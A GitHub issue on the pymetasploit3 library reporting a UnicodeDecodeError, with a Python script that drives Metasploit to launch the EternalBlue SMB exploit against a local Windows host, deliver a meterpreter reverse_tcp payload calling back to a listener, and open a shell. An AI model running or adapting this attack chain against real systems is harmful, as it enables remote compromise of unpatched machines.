Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

decode problem #63

Open
azizBenR opened this issue Jan 12, 2021 · 0 comments
Open

decode problem #63

azizBenR opened this issue Jan 12, 2021 · 0 comments

Comments

@azizBenR
Copy link

client = MsfRpcClient('xxx')

m = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')

m['RHOSTS'] = "192.168.1.18"
m['RPORT'] = '445'

payload = client.modules.use('payload', 'windows/x64/meterpreter/reverse_tcp')

payload['LHOST'] = '192.168.1.13'
payload['LPORT'] = '4445'

console_id = client.consoles.console().cid
console = client.consoles.console(console_id)
result = console.run_module_with_output(m, payload=payload)

shell = client.sessions.session(console_id)
shell.start_shell()

when launching the shell, a decoding error occurs:

Traceback (most recent call last): File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/msfrpc.py", line 1821, in run_with_output out += self.gather_output(cmd, out, end_strs, timeout, timeout_exception) # gather last of data buffer File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/msfrpc.py", line 1830, in gather_output out += self.read() File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/msfrpc.py", line 1722, in read return self.rpc.call(MsfRpcMethod.SessionMeterpreterRead, [self.sid])['data'] File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/msfrpc.py", line 222, in call return convert(decode(r.content), self.encoding) # convert all keys/vals to utf8 File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/utils.py", line 42, in convert if isinstance(data, dict): return dict(map(lambda iter: convert(iter, encoding=encoding), data.items())) File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/utils.py", line 43, in <lambda> if isinstance(data, tuple): return map(lambda iter: convert(iter, encoding=encoding), data) File "/usr/local/lib/python3.8/dist-packages/pymetasploit3/utils.py", line 39, in convert if isinstance(data, bytes): return data.decode(encoding=encoding) UnicodeDecodeError: 'utf-8' codec can't decode byte 0x82 in position 85: invalid start byte

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant